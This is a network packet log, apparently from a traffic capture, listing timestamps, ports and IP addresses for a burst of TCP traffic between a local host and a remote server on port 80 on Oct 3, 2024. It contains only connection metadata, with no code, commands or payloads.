Oct 3, 2024 20:42:02.415949106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416002035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416023970 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.416038036 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416073084 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416105986 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.416105986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416140079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416173935 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.416193962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.416224957 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.456299067 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456334114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456386089 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456407070 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.456418991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456455946 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456522942 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.456645966 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456679106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456705093 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.456712961 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456774950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456809044 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456823111 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.456841946 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456856012 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.456876993 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456912041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.456923962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457022905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457056999 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457072020 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457094908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457175970 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457210064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457222939 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457258940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457259893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457292080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457324982 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457355976 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457377911 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457389116 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457405090 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457423925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457746983 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457778931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457798004 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457812071 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457823992 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.457847118 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457880020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.457931995 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458106041 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458138943 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458159924 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458172083 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458204985 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458237886 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458239079 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458271027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458281040 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458304882 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458338022 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458369970 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458384991 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458403111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458415985 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458436012 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458472013 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458549976 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458848000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458884001 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458899975 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.458916903 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.458969116 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459001064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459014893 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459034920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459048033 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459069014 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459101915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459136009 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459148884 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459168911 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459182978 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459202051 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459234953 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459268093 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459280014 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459300995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459311008 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459726095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459762096 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459811926 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459839106 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459884882 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.459891081 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459924936 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459958076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.459992886 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460005999 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460026979 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460047960 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460061073 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460093975 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460127115 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460140944 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460160017 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460170984 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460194111 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460226059 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460258961 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460262060 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460300922 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460676908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460711002 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460743904 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460767031 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460794926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460827112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460859060 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460880995 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460905075 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.460928917 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460963964 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.460997105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461018085 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461030006 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461062908 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461095095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461108923 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461128950 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461137056 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461163044 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461195946 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461229086 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461246014 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461273909 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461674929 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461724997 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461759090 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461775064 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461793900 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461827040 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461843014 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461859941 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461894035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461918116 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461926937 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.461977959 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.461998940 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462032080 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462064981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462083101 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.462097883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462131977 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462152004 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.462163925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462210894 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.462553024 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462587118 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462620020 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462652922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462675095 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.462686062 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.462707043 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.499763012 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.502665997 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502721071 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502753973 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502795935 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.502865076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502867937 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.502897024 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502929926 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502943039 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.502963066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.502995968 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.503047943 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.504829884 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.504964113 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543292046 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543329000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543360949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543370962 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543412924 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543446064 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543462038 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543481112 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543493032 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543596029 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543628931 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543662071 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543684006 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543694973 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543704033 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543812037 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543845892 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543879986 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543893099 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.543915987 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.543924093 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544085026 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544116974 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544150114 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544164896 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544183016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544194937 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544389009 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544420958 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544454098 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544466972 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544487000 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544498920 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544522047 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544554949 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544585943 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544588089 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544620991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544630051 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544655085 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544715881 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.544774055 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544939995 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544972897 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.544987917 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545006037 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545038939 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545048952 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545072079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545104027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545137882 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545155048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545170069 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545182943 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545202971 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545234919 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545253038 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545270920 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545504093 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545646906 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545680046 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545711994 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545744896 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545758963 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545779943 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545787096 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545814037 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545846939 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545880079 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545892000 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.545914888 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.545927048 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546148062 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546175957 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546207905 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546222925 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546241999 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546256065 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546274900 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546307087 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546339989 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546350956 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546382904 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546673059 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546706915 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546739101 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546768904 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546789885 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546802044 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546811104 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546835899 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546869040 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546902895 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546915054 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546936035 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.546946049 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.546971083 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547003984 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547036886 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547049046 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547071934 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547080040 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547105074 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547137976 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547168016 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547182083 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547202110 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547211885 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547605991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547638893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547672033 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547688961 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547703981 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547717094 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547736883 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547770023 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547802925 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547816038 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547837019 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547846079 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547872066 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547905922 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547936916 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547949076 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.547971010 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.547981024 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548017979 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548051119 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548084021 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548096895 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548126936 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548264027 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548427105 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548460007 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548491955 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548506021 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548525095 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548542976 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548557043 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548588991 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548621893 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548641920 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548655987 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548669100 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548691034 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548723936 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548758030 CEST	49704	80	192.168.2.5	188.119.112.7
Oct 3, 2024 20:42:02.548757076 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548791885 CEST	80	49704	188.119.112.7	192.168.2.5
Oct 3, 2024 20:42:02.548799992 CEST	49704	80	192.168.2.5	188.119.112.7
